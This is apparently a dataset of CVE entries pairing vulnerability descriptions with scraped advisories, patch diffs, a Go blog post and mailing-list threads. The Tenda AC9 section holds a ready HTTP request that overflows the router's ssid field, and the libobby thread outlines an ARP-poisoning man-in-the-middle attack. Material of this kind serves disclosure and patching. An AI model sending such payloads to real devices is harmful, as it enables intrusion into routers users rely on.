There is a stack overflow vulnerability in the goform/fast_setting_wifi_set function in the httpd service of Tenda ac9 15.03.2.21_cn router. An attacker can obtain a stable shell through a carefully constructed payload

**Tenda AC9 router has a stack overflow vulnerability****Firmware address**

Tenda official website：https://www.tenda.com.cn/default.html

About Tenda：https://www.tenda.com.cn/profile/contact.html

Firmware Download：https://www.tenda.com.cn/download/

**Impact version**

The latest version is shown in the figure

**Vulnerability details**

The program passes the content obtained by SSID parameter to SRC, and then copies SRC into S's stack through strcpy function. There is no size check, so there is a stack overflow vulnerability.

**Vulnerability recurrence and POC**

To reproduce the vulnerability, follow these steps：

​ 1.Use fat to simulate firmware V15 03.2.21\_ cn

​ 2.Attack with the following POC attacks

    POST /goform/fast_setting_wifi_set HTTP/1.1
    Host: 192.168.11.1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:96.0) Gecko/20100101 Firefox/96.0
    Accept: */*
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Content-Type: application/x-www-form-urlencoded; charset=UTF-8
    X-Requested-With: XMLHttpRequest
    Content-Length: 1131
    Origin: http://192.168.11.1
    Connection: close
    Referer: http://192.168.11.1/parental_control.html?random=0.16095210121969683&
    Cookie: password=7c90ed4e4d4bf1e300aa08103057ccbcetv1qw
    
    ssid=9c%3Afc%3Ae8%3A1a%3A33%3A80aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaeaaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaae
    

The picture shows the effect of POC attack

Finally, you can write exp, which can achieve a very stable effect of getting the root shell

CVE-2022-28560: -Router-vulnerability/Tenda AC9 at main · iot-firmeware/-Router-vulnerability

HashiCorp Vault and Vault Enterprise allowed the renewal of nearly-expired token leases and dynamic secret leases (specifically, those within 1 second of their maximum TTL), which caused them to be incorrectly treated as non-expiring during subsequent use. Fixed in 1.5.9, 1.6.5, and 1.7.2.

October 24 2022 | Products & Technology

**X.509 Certificate Management with Vault**

In this blog post, we’ll look at practical public key certificate management in HashiCorp Vault using dynamic secrets rotation.

October 21 2022 | Company

**HashiConf Global 2022: From Zero Trust to No Code**

Check out the highlights from HashiConf Global 2022 and watch the 40+ keynote and session recordings now live on YouTube.

October 19 2022 | Company

**New Competency Program Validates Systems Integrators’ HashiCorp Expertise**

The new Technical Competency Program for Systems Integrators allows partners to display earned competency badges on both their own website and HashiCorp.com.

October 18 2022 | Products & Technology

**Cockroach Labs, ForgeRock & Palo Alto Networks Highlight New Vault Integrations**

The HashiCorp Vault ecosystem saw multiple integrations from partners Cockroach Labs, ForgeRock, and PaloAlto Networks as part of the 19 integrations completed this past quarter.

October 05 2022 | Products & Technology

**HCP Vault on Microsoft Azure Now in Public Beta**

In addition to its availability on AWS, HCP Vault can now be deployed on Microsoft Azure infrastructure.

September 15 2022 | Company

**HashiCorp Tools Explained Using a Minecraft World**

Visit our Minecraft world and learn how HashiCorp Vault, Consul, Nomad, and Boundary all work through fun analogies. Join us at HashiConf Global 2022 — in Los Angeles or online Oct. 4-6.

CVE-2021-32923: HashiCorp Blog: Vault

An issue was discovered in Zammad before 6.2.0. In several subsystems, SSL/TLS was used to establish connections to external services without proper validation of hostname and certificate authority. This is exploitable by man-in-the-middle attackers.

Security Advisory

December 6, 2023 · Please read carefully and check if the version of your Zammad system is affected by this vulnerability. Please send us information regarding vulnerabilities in Zammad!

**Security Advisory Details**

*   ID: ZAA-2023-04
*   Date: 2023-12-06
*   Title: Improper Certificate Validation
*   Severity: high
*   Product: Zammad 6.1.x
*   Fixed in: Zammad 6.2.0
*   References:  
    \--> pending CVE assignment

**Vulnerability Descriptions****Improper Certificate Validation**

In several subsystems of Zammad, SSL/TLS was used to establish connections to external services without proper validation of hostname and certificate authority. This is a security risk in case an attacker manages to redirect network traffic to another server.

**Recommended Resolution**

This vulnerability is fixed in the latest versions of Zammad and it is recommended to upgrade to one of these.

🚨 Please note that for existing configured external connections such as email, SSL verification _will not be turned on automatically_. Admins need to review all configured connections and turn on SSL verification where applicable (e.g. in case of publicly available services).

Fixed releases can be found at:

*   https://zammad.org/
*   https://ftp.zammad.com/

Or just update your Zammad if installed via OS package manager.

**Additional information**

Online version of this advisory: https://zammad.com/en/advisories/zaa-2023-04

Please send remarks on security issues exclusively to security@zammad.com.

CVE-2023-50454: Security Advisory ZAA-2023-04 | Zammad

Incorrect Privilege Assignment in GitHub repository hestiacp/hestiacp prior to 1.6.6.

@@ -31,8 +31,9 @@ source\_conf "$HESTIA/conf/hestia.conf"

  

is\_user\_free() {

# these names may cause issues with MariaDB/MySQL database names and should be reserved:

# sudo has been added due to Privilege escalation as sudo group has always sudo permission

check\_sysuser=$(php -r '$reserved\_names=array("aria", "aria\_log", "mysql", "mysql\_upgrade", "ib", "ib\_buffer",

"ddl", "ddl\_recovery", "performance"); if(in\_array(strtolower($argv\[1\]), $reserved\_names, true)){echo implode(", ", $reserved\_names);}' "$user" );

"ddl", "ddl\_recovery", "performance", "sudo"); if(in\_array(strtolower($argv\[1\]), $reserved\_names, true)){echo implode(", ", $reserved\_names);}' "$user" );

if \[ \-n "$check\_sysuser" \]; then

check\_result "$E\_INVALID" "The user name '$user' is reserved and cannot be used. List of reserved names: $check\_sysuser"

return

CVE-2022-2626: Fix security issues in v-add-web-domain-redirect + Sync up main with … · hestiacp/hestiacp@b178b97

Go before 1.14.14 and 1.15.x before 1.15.7 on Windows is vulnerable to Command Injection and remote code execution when using the "go get" command to fetch modules that make use of cgo (for example, cgo can execute a gcc program from an untrusted download).

**The Go Blog**

Today’s Go security release fixes an issue involving PATH lookups in untrusted directories that can lead to remote execution during the go get command. We expect people to have questions about what exactly this means and whether they might have issues in their own programs. This post details the bug, the fixes we have applied, how to decide whether your own programs are vulnerable to similar problems, and what you can do if they are.

**Go command & remote execution**

One of the design goals for the go command is that most commands – including go build, go doc, go get, go install, and go list – do not run arbitrary code downloaded from the internet. There are a few obvious exceptions: clearly go run, go test, and go generate _do_ run arbitrary code – that’s their job. But the others must not, for a variety of reasons including reproducible builds and security. So when go get can be tricked into executing arbitrary code, we consider that a security bug.

If go get must not run arbitrary code, then unfortunately that means all the programs it invokes, such as compilers and version control systems, are also inside the security perimeter. For example, we’ve had issues in the past in which clever use of obscure compiler features or remote execution bugs in version control systems became remote execution bugs in Go. (On that note, Go 1.16 aims to improve the situation by introducing a GOVCS setting that allows configuration of exactly which version control systems are allowed and when.)

Today’s bug, however, was entirely our fault, not a bug or obscure feature of gcc or git. The bug involves how Go and other programs find other executables, so we need to spend a little time looking at that before we can get to the details.

**Commands and PATHs and Go**

All operating systems have a concept of an executable path ($PATH on Unix, %PATH% on Windows; for simplicity, we’ll just use the term PATH), which is a list of directories. When you type a command into a shell prompt, the shell looks in each of the listed directories, in turn, for an executable with the name you typed. It runs the first one it finds, or it prints a message like “command not found.”

On Unix, this idea first appeared in Seventh Edition Unix’s Bourne shell (1979). The manual explained:

> The shell parameter $PATH defines the search path for the directory containing the command. Each alternative directory name is separated by a colon (:). The default path is :/bin:/usr/bin. If the command name contains a / then the search path is not used. Otherwise, each directory in the path is searched for an executable file.

Note the default: the current directory (denoted here by an empty string, but let’s call it “dot”) is listed ahead of /bin and /usr/bin. MS-DOS and then Windows chose to hard-code that behavior: on those systems, dot is always searched first, automatically, before considering any directories listed in %PATH%.

As Grampp and Morris pointed out in their classic paper “UNIX Operating System Security” (1984), placing dot ahead of system directories in the PATH means that if you cd into a directory and run ls, you might get a malicious copy from that directory instead of the system utility. And if you can trick a system administrator to run ls in your home directory while logged in as root, then you can run any code you want. Because of this problem and others like it, essentially all modern Unix distributions set a new user’s default PATH to exclude dot. But Windows systems continue to search dot first, no matter what PATH says.

For example, when you type the command

    go version
    

on a typically-configured Unix, the shell runs a go executable from a system directory in your PATH. But when you type that command on Windows, cmd.exe checks dot first. If .\go.exe (or .\go.bat or many other choices) exists, cmd.exe runs that executable, not one from your PATH.

For Go, PATH searches are handled by exec.LookPath, called automatically by exec.Command. And to fit well into the host system, Go’s exec.LookPath implements the Unix rules on Unix and the Windows rules on Windows. For example, this command

    out, err := exec.Command("go", "version").CombinedOutput()
    

behaves the same as typing go version into the operating system shell. On Windows, it runs .\go.exe when that exists.

(It is worth noting that Windows PowerShell changed this behavior, dropping the implicit search of dot, but cmd.exe and the Windows C library SearchPath function continue to behave as they always have. Go continues to match cmd.exe.)

**The Bug**

When go get downloads and builds a package that contains import "C", it runs a program called cgo to prepare the Go equivalent of the relevant C code. The go command runs cgo in the directory containing the package sources. Once cgo has generated its Go output files, the go command itself invokes the Go compiler on the generated Go files and the host C compiler (gcc or clang) to build any C sources included with the package. All this works well. But where does the go command find the host C compiler? It looks in the PATH, of course. Luckily, while it runs the C compiler in the package source directory, it does the PATH lookup from the original directory where the go command was invoked:

    cmd := exec.Command("gcc", "file.c")
    cmd.Dir = "badpkg"
    cmd.Run()
    

So even if badpkg\gcc.exe exists on a Windows system, this code snippet will not find it. The lookup that happens in exec.Command does not know about the badpkg directory.

The go command uses similar code to invoke cgo, and in that case there’s not even a path lookup, because cgo always comes from GOROOT:

    cmd := exec.Command(GOROOT+"/pkg/tool/"+GOOS_GOARCH+"/cgo", "file.go")
    cmd.Dir = "badpkg"
    cmd.Run()
    

This is even safer than the previous snippet: there’s no chance of running any bad cgo.exe that may exist.

But it turns out that cgo itself also invokes the host C compiler, on some temporary files it creates, meaning it executes this code itself:

    // running in cgo in badpkg dir
    cmd := exec.Command("gcc", "tmpfile.c")
    cmd.Run()
    

Now, because cgo itself is running in badpkg, not in the directory where the go command was run, it will run badpkg\gcc.exe if that file exists, instead of finding the system gcc.

So an attacker can create a malicious package that uses cgo and includes a gcc.exe, and then any Windows user that runs go get to download and build the attacker’s package will run the attacker-supplied gcc.exe in preference to any gcc in the system path.

Unix systems avoid the problem first because dot is typically not in the PATH and second because module unpacking does not set execute bits on the files it writes. But Unix users who have dot ahead of system directories in their PATH and are using GOPATH mode would be as susceptible as Windows users. (If that describes you, today is a good day to remove dot from your path and to start using Go modules.)

(Thanks to RyotaK for reporting this issue to us.)

**The Fixes**

It’s obviously unacceptable for the go get command to download and run a malicious gcc.exe. But what’s the actual mistake that allows that? And then what’s the fix?

One possible answer is that the mistake is that cgo does the search for the host C compiler in the untrusted source directory instead of in the directory where the go command was invoked. If that’s the mistake, then the fix is to change the go command to pass cgo the full path to the host C compiler, so that cgo need not do a PATH lookup in to the untrusted directory.

Another possible answer is that the mistake is to look in dot during PATH lookups, whether happens automatically on Windows or because of an explicit PATH entry on a Unix system. A user may want to look in dot to find a command they typed in a console or shell window, but it’s unlikely they also want to look there to find a subprocess of a subprocess of a typed command. If that’s the mistake, then the fix is to change the cgo command not to look in dot during a PATH lookup.

We decided both were mistakes, so we applied both fixes. The go command now passes the full host C compiler path to cgo. On top of that, cgo, go, and every other command in the Go distribution now use a variant of the os/exec package that reports an error if it would have previously used an executable from dot. The packages go/build and go/import use the same policy for their invocation of the go command and other tools. This should shut the door on any similar security problems that may be lurking.

Out of an abundance of caution, we also made a similar fix in commands like goimports and gopls, as well as the libraries golang.org/x/tools/go/analysis and golang.org/x/tools/go/packages, which invoke the go command as a subprocess. If you run these programs in untrusted directories – for example, if you git checkout untrusted repositories and cd into them and then run programs like these, and you use Windows or use Unix with dot in your PATH – then you should update your copies of these commands too. If the only untrusted directories on your computer are the ones in the module cache managed by go get, then you only need the new Go release.

After updating to the new Go release, you can update to the latest gopls by using:

    GO111MODULE=on \
    go get golang.org/x/tools/gopls@v0.6.4
    

and you can update to the latest goimports or other tools by using:

    GO111MODULE=on \
    go get golang.org/x/tools/cmd/goimports@v0.1.0
    

You can update programs that depend on golang.org/x/tools/go/packages, even before their authors do, by adding an explicit upgrade of the dependency during go get:

    GO111MODULE=on \
    go get example.com/cmd/thecmd golang.org/x/tools@v0.1.0
    

For programs that use go/build, it is sufficient for you to recompile them using the updated Go release.

Again, you only need to update these other programs if you are a Windows user or a Unix user with dot in the PATH _and_ you run these programs in source directories you do not trust that may contain malicious programs.

**Are your own programs affected?**

If you use exec.LookPath or exec.Command in your own programs, you only need to be concerned if you (or your users) run your program in a directory with untrusted contents. If so, then a subprocess could be started using an executable from dot instead of from a system directory. (Again, using an executable from dot happens always on Windows and only with uncommon PATH settings on Unix.)

If you are concerned, then we’ve published the more restricted variant of os/exec as golang.org/x/sys/execabs. You can use it in your program by simply replacing

    import "os/exec"
    

with

    import exec "golang.org/x/sys/execabs"
    

and recompiling.

**Securing os/exec by default**

We have been discussing on golang.org/issue/38736 whether the Windows behavior of always preferring the current directory in PATH lookups (during exec.Command and exec.LookPath) should be changed. The argument in favor of the change is that it closes the kinds of security problems discussed in this blog post. A supporting argument is that although the Windows SearchPath API and cmd.exe still always search the current directory, PowerShell, the successor to cmd.exe, does not, an apparent recognition that the original behavior was a mistake. The argument against the change is that it could break existing Windows programs that intend to find programs in the current directory. We don’t know how many such programs exist, but they would get unexplained failures if the PATH lookups started skipping the current directory entirely.

The approach we have taken in golang.org/x/sys/execabs may be a reasonable middle ground. It finds the result of the old PATH lookup and then returns a clear error rather than use a result from the current directory. The error returned from exec.Command("prog") when prog.exe exists looks like:

    prog resolves to executable in current directory (.\prog.exe)
    

For programs that do change behavior, this error should make very clear what has happened. Programs that intend to run a program from the current directory can use exec.Command("./prog") instead (that syntax works on all systems, even Windows).

We have filed this idea as a new proposal, golang.org/issue/43724.

CVE-2021-3115: Command PATH security in Go - The Go Programming Language

A reachable assertion in the lookup1_values function in stb_vorbis through 2019-03-04 allows an attacker to cause a denial of service by opening a crafted Ogg Vorbis file.

@@ -33,6 +33,7 @@ // Timur Gagiev // // Partial history: // 1.17 - 2019-07-08 - fix CVE-2019-13217..CVE-2019-13223 (by ForAllSecure) // 1.16 - 2019-03-04 - fix warnings // 1.15 - 2019-02-07 - explicit failure if Ogg Skeleton data is found // 1.14 - 2018-02-11 - delete bogus dealloca usage @@ -1202,8 +1203,10 @@ static int lookup1\_values(int entries, int dim) int r = (int) floor(exp((float) log((float) entries) / dim)); if ((int) floor(pow((float) r+1, dim)) <= entries) // (int) cast for MinGW warning; ++r; // floor() to avoid \_ftol() when non-CRT assert(pow((float) r+1, dim) > entries); assert((int) floor(pow((float) r, dim)) <= entries); // (int),floor() as above if (pow((float) r+1, dim) <= entries) return -1; if ((int) floor(pow((float) r, dim)) > entries) return -1; return r; }  
@@ -2013,15 +2016,15 @@ static \_\_forceinline void draw\_line(float \*output, int x0, int y0, int x1, int y ady -= abs(base) \* adx; if (x1 > n) x1 = n; if (x < x1) { LINE\_OP(output\[x\], inverse\_db\_table\[y\]); LINE\_OP(output\[x\], inverse\_db\_table\[y&255\]); for (++x; x < x1; ++x) { err += ady; if (err >= adx) { err -= adx; y += sy; } else y += base; LINE\_OP(output\[x\], inverse\_db\_table\[y\]); LINE\_OP(output\[x\], inverse\_db\_table\[y&255\]); } } } @@ -3048,7 +3051,6 @@ static float \*get\_window(vorb \*f, int len) len <<= 1; if (len == f->blocksize\_0) return f->window\[0\]; if (len == f->blocksize\_1) return f->window\[1\]; assert(0); return NULL; }  
@@ -3454,6 +3456,7 @@ static int vorbis\_finish\_frame(stb\_vorbis \*f, int len, int left, int right) if (f->previous\_length) { int i,j, n = f->previous\_length; float \*w = get\_window(f, n); if (w == NULL) return 0; for (i=0; i < f->channels; ++i) { for (j=0; j < n; ++j) f->channel\_buffers\[i\]\[left+j\] = @@ -3695,6 +3698,7 @@ static int start\_decoder(vorb \*f) while (current\_entry < c->entries) { int limit = c->entries - current\_entry; int n = get\_bits(f, ilog(limit)); if (current\_length >= 32) return error(f, VORBIS\_invalid\_setup); if (current\_entry + n > (int) c->entries) { return error(f, VORBIS\_invalid\_setup); } memset(lengths + current\_entry, current\_length, n); current\_entry += n; @@ -3798,7 +3802,9 @@ static int start\_decoder(vorb \*f) c->value\_bits = get\_bits(f, 4)+1; c->sequence\_p = get\_bits(f,1); if (c->lookup\_type == 1) { c->lookup\_values = lookup1\_values(c->entries, c->dimensions); int values = lookup1\_values(c->entries, c->dimensions); if (values < 0) return error(f, VORBIS\_invalid\_setup); c->lookup\_values = (uint32) values; } else { c->lookup\_values = c->entries \* c->dimensions; } @@ -3934,6 +3940,9 @@ static int start\_decoder(vorb \*f) p\[j\].id = j; } qsort(p, g->values, sizeof(p\[0\]), point\_compare); for (j=0; j < g->values\-1; ++j) if (p\[j\].x == p\[j+1\].x) return error(f, VORBIS\_invalid\_setup); for (j=0; j < g->values; ++j) g->sorted\_order\[j\] = (uint8) p\[j\].id; // precompute the neighbors @@ -4020,6 +4029,7 @@ static int start\_decoder(vorb \*f) max\_submaps = m->submaps; if (get\_bits(f,1)) { m->coupling\_steps = get\_bits(f,8)+1; if (m->coupling\_steps > f->channels) return error(f, VORBIS\_invalid\_setup); for (k=0; k < m->coupling\_steps; ++k) { m->chan\[k\].magnitude = get\_bits(f, ilog(f->channels\-1)); m->chan\[k\].angle = get\_bits(f, ilog(f->channels\-1)); @@ -5386,6 +5396,12 @@ int stb\_vorbis\_get\_samples\_float(stb\_vorbis \*f, int channels, float \*\*buffer, in #endif // STB\_VORBIS\_NO\_PULLDATA\_API  
/\* Version history 1.17 - 2019-07-08 - fix CVE-2019-13217, -13218, -13219, -13220, -13221, -13223, -13223 found with Mayhem by ForAllSecure 1.16 - 2019-03-04 - fix warnings 1.15 - 2019-02-07 - explicit failure if Ogg Skeleton data is found 1.14 - 2018-02-11 - delete bogus dealloca usage 1.13 - 2018-01-29 - fix truncation of last frame (hopefully) 1.12 - 2017-11-21 - limit residue begin/end to blocksize/2 to avoid large temp allocs in bad/corrupt files 1.11 - 2017-07-23 - fix MinGW compilation 1.10 - 2017-03-03 - more robust seeking; fix negative ilog(); clear error in open\_memory

CVE-2019-13223: Fix seven bugs discovered and fixed by ForAllSecure: · nothings/stb@98fdfc6

Integer overflow in inc/server.hpp in libnet6 (aka net6) before 1.3.14 might allow remote attackers to hijack connections and gain privileges as other users by making a large number of connections until the overflow occurs and an ID of another user is provided.

*   Products
    *   Openwall GNU/\*/Linux   _server OS_
    *   Linux Kernel Runtime Guard
    *   John the Ripper   _password cracker_
        *   Free & Open Source for any platform
        *   in the cloud
        *   Pro for Linux
        *   Pro for macOS
    *   Wordlists   _for password cracking_
    *   passwdqc   _policy enforcement_
        *   Free & Open Source for Unix
        *   Pro for Windows (Active Directory)
    *   yescrypt   _KDF & password hashing_
    *   yespower   _Proof-of-Work (PoW)_
    *   crypt\_blowfish   _password hashing_
    *   phpass   _ditto in PHP_
    *   tcb   _better password shadowing_
    *   Pluggable Authentication Modules
    *   scanlogd   _port scan detector_
    *   popa3d   _tiny POP3 daemon_
    *   blists   _web interface to mailing lists_
    *   msulogin   _single user mode login_
    *   php\_mt\_seed   _mt\_rand() cracker_
*   Services
*   Publications
    *   Articles
    *   Presentations
*   Resources
    *   Mailing lists
    *   Community wiki
    *   Source code repositories (GitHub)
    *   Source code repositories (CVSweb)
    *   File archive & mirrors
    *   How to verify digital signatures
    *   OVE IDs
*   What's new

\[<prev\] \[next>\] \[<thread-prev\] \[day\] \[month\] \[year\] \[list\]

Date: Mon, 31 Oct 2011 09:34:01 -0600
From: Kurt Seifried <kseifried@...hat.com>
To: oss-security@...ts.openwall.com
CC: Vasiliy Kulikov <segoon@...nwall.com>, Armin Burgmeier <armin@...39.de>,
        Philipp Kern <phil@...39.de>
Subject: Re: CVE request: 3 flaws in libobby and libnet6

On 10/30/2011 06:08 AM, Vasiliy Kulikov wrote:
> Hi,
>
> 1) the libobby's server checks for users' color collisions before
> checking users' passwords.  Any user without password authentication
> may check whether a specific color is used by someone.  With knowledge
> of person's color preferences he may learn whether a specific person
> uses the server.  Also, he may enumerate all default colors and learn
> the number of users.
>
>     inc/server\_buffer.hpp: 
>
>     bool basic\_server\_buffer<Document, Selector>::on\_auth()
>     {
>     ...
>         // Check colour
>         if(!basic\_buffer<Document, Selector>::check\_colour(colour) )
>         {
>             error = login::ERROR\_COLOUR\_IN\_USE;
>             return false;
>         }
>
>         // Check global password
>         if(!m\_global\_password.empty() )
>         {
>             if(global\_password != m\_global\_password)
>             {
>                 error = login::ERROR\_WRONG\_GLOBAL\_PASSWORD;
>                 return false;
>             }
>         }
>     ...
>     }
>
>
Please use CVE-2011-4091 for this issue.

> 2) libobby doesn't check server's SSL certificate and passes the
> password in plain text over SSL channel.  All remote clients are
> vulnerable to a MITM attack.
>
>     • The attacker (A) learns the client's (C) and the server's (S) IP
>         addresses and used ports.
>     • A breaks the established TCP connection between C and S.
>     • A changes the way C's packets with dst = S are routed, resulting
>         in all packets from C to S's IP go to A.  The simplest way is
>         ARP cache poisoning.
>     • A starts listening on the same IP:port as S did.
>     • C notices the connection interruption and tries to reconnect to S.
>         (Note: if the client is gobby, this step needs user's interaction.)
>     • As all C's packets intended for S are routed to A, so, in reality
>         C connects to A, not S.
>     • C starts SSL session and, as C doesn't check SSL certificate, he
>         think it talks to S.
>     • A requests C' password.
>     • C passes the password in plain text over SSL channel.
>
Please use CVE-2011-4092 for this issue
> 3) libnet6 doesn't check basic\_server::id\_counter for integer overflow.
> This number is used to distinguish among different users.  An attacker
> may open UINT\_MAX successive connections and get an identifier of the
> already established connection, resulting in the connection hijacking.
> On i686 uint is a 32 bit counter, so an attacker should be able to open
> 4.000.000.000 connections to complete the attack.  This is a rather big
> number: if an attacker may create 2000 connections per second, it would
> took ~24 days of continuous connection attempts.  However, it is a real
> threat for servers with a huge uptime.
>
Please use CVE-2011-4093 for this issue.

Note: these are all available from http://gobby.0x539.de/trac/wiki/Download
> Thanks,
>


-- 

-Kurt Seifried / Red Hat Security Response Team

Powered by blists - more mailing lists

Please check out the Open Source Software Security Wiki, which is counterpart to this mailing list.

Confused about mailing lists and their use? Read about mailing lists on Wikipedia and check out these guidelines on proper formatting of your messages.

CVE-2011-4093: security - Re: CVE request: 3 flaws in libobby and libnet6

TensorFlow is an end-to-end open source platform for machine learning. Constructing a tflite model with a paramater `filter_input_channel` of less than 1 gives a FPE. This issue has been patched in version 2.12. TensorFlow will also cherrypick the fix commit on TensorFlow 2.11.1.

@@ -347,6 +347,7 @@ TfLiteStatus Prepare(KernelType kernel\_type, TfLiteContext\* context,

// or equals (normal conv).

auto input\_channel = input->dims\->data\[3\];

auto filter\_input\_channel = filter->dims\->data\[3\];

TF\_LITE\_ENSURE(context, filter\_input\_channel > 0);

TF\_LITE\_ENSURE\_EQ(context, input\_channel % filter\_input\_channel, 0);

data->groups = input\_channel / filter\_input\_channel;

CVE-2023-27579: Check filter_input_channel > 0 in conv kernel. · tensorflow/tensorflow@34f8368

An issue was discovered in the Linux kernel through 6.0.6. drivers/char/pcmcia/cm4040_cs.c has a race condition and resultant use-after-free if a physically proximate attacker removes a PCMCIA device while calling open(), aka a race condition between cm4040_open() and reader_detach().

From: Hyunwoo Kim <imv4bel@gmail.com>
To: laforge@gnumonks.org
Cc: linux-kernel@vger.kernel.org, imv4bel@gmail.com, arnd@arndb.de,
	gregkh@linuxfoundation.org, linux@dominikbrodowski.net
Subject: \[PATCH v3\] char: pcmcia: cm4040\_cs: Fix use-after-free in reader\_fops
Date: Sun, 18 Sep 2022 21:04:57 -0700	\[thread overview\]
Message-ID: <20220919040457.GA302681@ubuntu> (raw)

A race condition may occur if the user physically removes the pcmcia
device while calling open() for this char device node.

This is a race condition between the cm4040\_open() function and the
reader\_detach() function, which may eventually result in UAF.

So, add a refcount check to reader\_detach() to free the "dev" structure
after the char device node is close()d.

Signed-off-by: Hyunwoo Kim <imv4bel@gmail.com>
---
 drivers/char/pcmcia/cm4040\_cs.c | 50 +++++++++++++++++++++++----------
 1 file changed, 35 insertions(+), 15 deletions(-)

diff --git a/drivers/char/pcmcia/cm4040\_cs.c b/drivers/char/pcmcia/cm4040\_cs.c
index 827711911da4..bb9116d81890 100644
--- a/drivers/char/pcmcia/cm4040\_cs.c
+++ b/drivers/char/pcmcia/cm4040\_cs.c
@@ -59,6 +59,7 @@ static DEFINE\_MUTEX(cm4040\_mutex);
 /\* how often to poll for fifo status change \*/
 #define POLL\_PERIOD 				msecs\_to\_jiffies(10)
 
+static void cm4040\_delete(struct kref \*kref);
 static void reader\_release(struct pcmcia\_device \*link);
 
 static int major;
@@ -73,6 +74,7 @@ struct reader\_dev {
 	wait\_queue\_head\_t	poll\_wait;
 	wait\_queue\_head\_t	read\_wait;
 	wait\_queue\_head\_t	write\_wait;
+	struct kref		refcnt;
 	unsigned long 	  	buffer\_status;
 	unsigned long     	timeout;
 	unsigned char     	s\_buf\[READ\_WRITE\_BUFFER\_SIZE\];
@@ -102,6 +104,28 @@ static inline unsigned char xinb(unsigned short port)
 }
 #endif
 
+static void cm4040\_delete(struct kref \*kref)
+{
+	struct reader\_dev \*dev = container\_of(kref, struct reader\_dev, refcnt);
+	struct pcmcia\_device \*link = dev->p\_dev;
+	int devno;
+
+	/\* find device \*/
+	for (devno = 0; devno < CM\_MAX\_DEV; devno++) {
+		if (dev\_table\[devno\] == link)
+			break;
+	}
+	if (devno == CM\_MAX\_DEV)
+		return;
+
+	reader\_release(link);
+
+	dev\_table\[devno\] = NULL;
+	kfree(dev);
+
+	device\_destroy(cmx\_class, MKDEV(major, devno));
+}
+
 /\* poll the device fifo status register.  not to be confused with
  \* the poll syscall. \*/
 static void cm4040\_do\_poll(struct timer\_list \*t)
@@ -442,6 +466,7 @@ static int cm4040\_open(struct inode \*inode, struct file \*filp)
 		return -ENODEV;
 
 	mutex\_lock(&cm4040\_mutex);
+
 	link = dev\_table\[minor\];
 	if (link == NULL || !pcmcia\_dev\_present(link)) {
 		ret = -ENODEV;
@@ -468,8 +493,11 @@ static int cm4040\_open(struct inode \*inode, struct file \*filp)
 
 	DEBUGP(2, dev, "<- cm4040\_open (successfully)\\n");
 	ret = nonseekable\_open(inode, filp);
+
+	kref\_get(&dev->refcnt);
 out:
 	mutex\_unlock(&cm4040\_mutex);
+
 	return ret;
 }
 
@@ -495,6 +523,9 @@ static int cm4040\_close(struct inode \*inode, struct file \*filp)
 	wake\_up(&dev->devq);
 
 	DEBUGP(2, dev, "<- cm4040\_close\\n");
+
+	kref\_put(&dev->refcnt, cm4040\_delete);
+
 	return 0;
 }
 
@@ -584,6 +615,7 @@ static int reader\_probe(struct pcmcia\_device \*link)
 	init\_waitqueue\_head(&dev->read\_wait);
 	init\_waitqueue\_head(&dev->write\_wait);
 	timer\_setup(&dev->poll\_timer, cm4040\_do\_poll, 0);
+	kref\_init(&dev->refcnt);
 
 	ret = reader\_config(link, i);
 	if (ret) {
@@ -600,22 +632,10 @@ static int reader\_probe(struct pcmcia\_device \*link)
 static void reader\_detach(struct pcmcia\_device \*link)
 {
 	struct reader\_dev \*dev = link->priv;
\-	int devno;
-
-	/\* find device \*/
-	for (devno = 0; devno < CM\_MAX\_DEV; devno++) {
-		if (dev\_table\[devno\] == link)
-			break;
-	}
-	if (devno == CM\_MAX\_DEV)
-		return;
-
-	reader\_release(link);
-
-	dev\_table\[devno\] = NULL;
-	kfree(dev);
 
\-	device\_destroy(cmx\_class, MKDEV(major, devno));
+	mutex\_lock(&cm4040\_mutex);
+	kref\_put(&dev->refcnt, cm4040\_delete);
+	mutex\_unlock(&cm4040\_mutex);
 
 	return;
 }
-- 
2.25.1

Dear,


I fixed the wrong patch referencing "dev" after kref\_put() in the previous version of the patch.


Regards,
Hyunwoo Kim.

                 reply	other threads:\[~2022-09-19  4:05 UTC|newest\]

**Thread overview:** \[no followups\] expand\[flat|nested\]  mbox.gz  Atom feed

**Reply instructions:**

You may reply publicly to this message via plain-text email
using any one of the following methods:

\* Save the following mbox file, import it into your mail client,
  and reply-to-all from there: mbox

  Avoid top-posting and favor interleaved quoting:
  https://en.wikipedia.org/wiki/Posting\_style#Interleaved\_style

\* Reply using the **\--to**, **\--cc**, and **\--in-reply-to**
  switches of git-send-email(1):

  git send-email \\
    --in-reply-to=20220919040457.GA302681@ubuntu \\
    --to=imv4bel@gmail.com \\
    --cc=arnd@arndb.de \\
    --cc=gregkh@linuxfoundation.org \\
    --cc=laforge@gnumonks.org \\
    --cc=linux-kernel@vger.kernel.org \\
    --cc=linux@dominikbrodowski.net \\
    /path/to/YOUR\_REPLY

  https://kernel.org/pub/software/scm/git/docs/git-send-email.html

